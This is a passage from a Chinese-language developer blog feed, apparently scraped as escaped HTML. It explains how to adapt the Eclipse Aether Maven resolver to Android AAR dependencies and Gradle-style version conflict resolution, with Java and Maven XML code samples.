props.putAll(recessive);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (dominant != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e props.putAll(dominant);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e props;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Relocation \u003cspan class=\"hljs-title function_\"\u003egetRelocation\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Model model)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRelocation\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erelocation\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDistributionManagement\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edistMngt\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getDistributionManagement();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (distMngt != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e relocation = distMngt.getRelocation();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e relocation;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003esetArtifactProperties\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(ArtifactDescriptorResult result, Model model)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eString\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edownloadUrl\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDistributionManagement\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edistMngt\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getDistributionManagement();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (distMngt != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e downloadUrl = distMngt.getDownloadUrl();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (downloadUrl != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e \u0026amp;\u0026amp; downloadUrl.length() \u0026gt; \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eartifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e result.getArtifact();\u003cbr\u003e Map\u0026lt;String, String\u0026gt; props = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eHashMap\u003c/span\u003e\u0026lt;String, String\u0026gt;(artifact.getProperties());\u003cbr\u003e props.put(ArtifactProperties.DOWNLOAD_URL, downloadUrl);\u003cbr\u003e result.setArtifact(artifact.setProperties(props));\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Dependency \u003cspan class=\"hljs-title function_\"\u003econvert\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(org.apache.maven.model.Dependency dependency, ArtifactTypeRegistry stereotypes)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactType\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003estereotype\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e stereotypes.get(dependency.getType());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (stereotype == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e stereotype = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultArtifactType\u003c/span\u003e(dependency.getType());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esystem\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e dependency.getSystemPath() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e \u0026amp;\u0026amp; dependency.getSystemPath().length() \u0026gt; \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e;\u003cbr\u003e\u003cbr\u003e Map\u0026lt;String, String\u0026gt; props = \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (system) \u0026#123;\u003cbr\u003e props = Collections.singletonMap(ArtifactProperties.LOCAL_PATH, dependency.getSystemPath());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eartifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultArtifact\u003c/span\u003e(dependency.getGroupId(), dependency.getArtifactId(), dependency.getClassifier(), \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e dependency.getVersion(), props, stereotype);\u003cbr\u003e\u003cbr\u003e List\u0026lt;Exclusion\u0026gt; exclusions = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArrayList\u003c/span\u003e\u0026lt;Exclusion\u0026gt;(dependency.getExclusions().size());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (org.apache.maven.model.Exclusion exclusion : dependency.getExclusions()) \u0026#123;\u003cbr\u003e exclusions.add(convert(exclusion));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependency\u003c/span\u003e(artifact, dependency.getScope(), dependency.isOptional(), exclusions);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e result;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Exclusion \u003cspan class=\"hljs-title function_\"\u003econvert\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(org.apache.maven.model.Exclusion exclusion)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eExclusion\u003c/span\u003e(exclusion.getGroupId(), exclusion.getArtifactId(), \u003cspan class=\"hljs-string\"\u003e\u0026quot;*\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;*\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003emissingDescriptor\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, RequestTrace trace, Artifact artifact,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Exception exception)\u003c/span\u003e \u0026#123;\u003cbr\u003e RepositoryEvent.\u003cspan class=\"hljs-type\"\u003eBuilder\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eevent\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositoryEvent\u003c/span\u003e.Builder(session, EventType.ARTIFACT_DESCRIPTOR_MISSING);\u003cbr\u003e event.setTrace(trace);\u003cbr\u003e event.setArtifact(artifact);\u003cbr\u003e event.setException(exception);\u003cbr\u003e\u003cbr\u003e repositoryEventDispatcher.dispatch(event.build());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003einvalidDescriptor\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, RequestTrace trace, Artifact artifact,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Exception exception)\u003c/span\u003e \u0026#123;\u003cbr\u003e RepositoryEvent.\u003cspan class=\"hljs-type\"\u003eBuilder\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eevent\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositoryEvent\u003c/span\u003e.Builder(session, EventType.ARTIFACT_DESCRIPTOR_INVALID);\u003cbr\u003e event.setTrace(trace);\u003cbr\u003e event.setArtifact(artifact);\u003cbr\u003e event.setException(exception);\u003cbr\u003e\u003cbr\u003e repositoryEventDispatcher.dispatch(event.build());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003egetPolicy\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, Artifact artifact, ArtifactDescriptorRequest request)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorPolicy\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epolicy\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getArtifactDescriptorPolicy();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (policy == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e ArtifactDescriptorPolicy.STRICT;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e policy.getPolicy(session, \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorPolicyRequest\u003c/span\u003e(artifact, request.getRequestContext()));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e提示:千万不要忘记在Factory内替换DefaultArtifactDescriptorReader为CompactAARArtifactDescriptorReader。\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"Aether的版本冲突解决方式与Gradle的不同\"\u003e\u003ca href=\"#Aether的版本冲突解决方式与Gradle的不同\" class=\"headerlink\" title=\"Aether的版本冲突解决方式与Gradle的不同\"\u003e\u003c/a\u003eAether的版本冲突解决方式与Gradle的不同\u003c/h3\u003e\u003cp\u003e假如,使用已经兼容AAR依赖的Aether系统去下载Google的一些库,比如\u003ccode\u003eandroidx\u003c/code\u003e系列,很大概率出现因为依赖冲突而无法下载的问题,或者即使下载了也无法正常编译。\u003c/p\u003e\u003cp\u003e这个问题是因为Aether和Gradle的默认版本冲突解决方式不同,Aether是就近原则,依赖程度浅的版本则优先度高,Gradle则是就近+最新原则,在本地配置内采用最近原则,在处理远程依赖的子依赖时采用最新版本。\u003c/p\u003e\u003ch4 id=\"解决方法-1\"\u003e\u003ca href=\"#解决方法-1\" class=\"headerlink\" title=\"解决方法\"\u003e\u003c/a\u003e解决方法\u003c/h4\u003e\u003cp\u003e我们只需要改变依赖冲突的解决方式即可,这个需要通过RepositorySystemSession来设置。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e RepositorySystemSession \u003cspan class=\"hljs-title function_\"\u003enewSession\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystem system, LocalRepository localRepo)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultRepositorySystemSession\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esession\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e MavenRepositorySystemUtils.newSession();\u003cbr\u003e session.setConfigProperty(ConflictResolver.CONFIG_PROP_VERBOSE, \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e session.setConfigProperty(DependencyManagerUtils.CONFIG_PROP_VERBOSE, \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e session.setLocalRepositoryManager(system.newLocalRepositoryManager(session, localRepo));\u003cbr\u003e session.setDependencyGraphTransformer(\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e//改为自定义的DependencyGraphTransformer\u003c/span\u003e\u003cbr\u003e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e session;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e自己实现所需的依赖树裁枝方式即可。我这里比较懒省事,直接做一个LazyConflictResolver,下载依赖树上的所有依赖,之后在编译的时候取最新的版本。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositoryException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.collection.DependencyGraphTransformationContext;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.collection.DependencyGraphTransformer;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.graph.DependencyNode;\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e/**\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e * 选择摆烂的ConflictResolver,遇到困难睡大觉,把困难丢给后面的人解决。\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e */\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLazyConflictResolver\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyGraphTransformer\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e DependencyNode \u003cspan class=\"hljs-title function_\"\u003etransformGraph\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(DependencyNode node, DependencyGraphTransformationContext context)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e RepositoryException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e node;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e","url":"https://xiue233.github.io/2023/09/09/aether-manual/"},{"title":"Aether在Android中的适配探索","time":"2023-09-05T15:35:45Z","content":"\u003cp\u003e相关文章:《\u003ca href=\"/2023/09/09/aether-manual/\" title=\"Aether使用指南(主体功能概述)\"\u003eAether使用指南(主体功能概述)\u003c/a\u003e》\u003c/p\u003e\n\u003cp\u003e本文章为针对一年前技术探索的回想与记录,因时间跨度过大,有部分实现细节已\u003chr /\u003e\u003cp\u003e相关文章:《\u003ca href=\"/2023/09/09/aether-manual/\" title=\"Aether使用指南(主体功能概述)\"\u003eAether使用指南(主体功能概述)\u003c/a\u003e》\u003c/p\u003e\u003cp\u003e本文章为针对一年前技术探索的回想与记录,因时间跨度过大,有部分实现细节已经遗忘,望谅解。\u003c/p\u003e\u003cp\u003e因为篇幅原因,本文只做Aether的简单介绍以及在Android下的兼容开发过程,Aether的使用以及针对Gradle Dependency Conflict Resolution的适配见后续文章。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eAether is a library for working with artifact repositories. Aether deals with the specification of local repository, remote repository, developer workspaces, artifact transports, and artifact resolution.\u003cbr\u003e(Aether是一个用于处理Artifact仓库的库。 Aether能够处理本地Maven仓库、远程Maven仓库、开发工作区、Artifact的传输和Artifact的解析。)\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"什么是Aether?我们为什么要使用Aether?\"\u003e\u003ca href=\"#什么是Aether?我们为什么要使用Aether?\" class=\"headerlink\" title=\"什么是Aether?我们为什么要使用Aether?\"\u003e\u003c/a\u003e什么是Aether?我们为什么要使用Aether?\u003c/h2\u003e\u003cp\u003eAether是\u003cem\u003eEclipse Foundation\u003c/em\u003e下的一个用于Maven拉取与本地仓库管理的项目。不同于Maven,Aether是Maven包装后的可插件版。\u003c/p\u003e\u003cp\u003e通过Aether,开发者可以把控Artifact拉取以及存放过程中的各种细节,并自定义\u003cem\u003e依赖冲突解决策略\u003c/em\u003e、\u003cem\u003e版本比较方案\u003c/em\u003e、\u003cem\u003e依赖树遍历策略\u003c/em\u003e等功能。\u003c/p\u003e\u003cp\u003e当然,因为我的目的是在Android上运行一个Maven Resolver,经过和朋友们的筛选,发现Aether较符合我们的要求(兼容度与功能丰富度),所以使用了他。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eAether现已废弃,更名为\u003ca href=\"https://github.com/apache/maven-resolver\"\u003emaven-resolver\u003c/a\u003e并持续更新中。\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e相关链接:\u003cbr\u003e\u003ca href=\"https://projects.eclipse.org/projects/technology.aether\"\u003eAether Project Website(已废弃)\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://github.com/apache/maven-resolver\"\u003emaven-resolver\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://wiki.eclipse.org/Aether\"\u003eAether Wiki\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"Aether的依赖结构\"\u003e\u003ca href=\"#Aether的依赖结构\" class=\"headerlink\" title=\"Aether的依赖结构\"\u003e\u003c/a\u003eAether的依赖结构\u003c/h2\u003e\u003cfigure class=\"highlight xml\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs XML\"\u003e\u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eproperties\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eaetherVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e1.0.0.v20140518\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eaetherVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003emavenVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e3.1.0\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003emavenVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003ewagonVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e1.0\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003ewagonVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eproperties\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependencies\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-api\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan 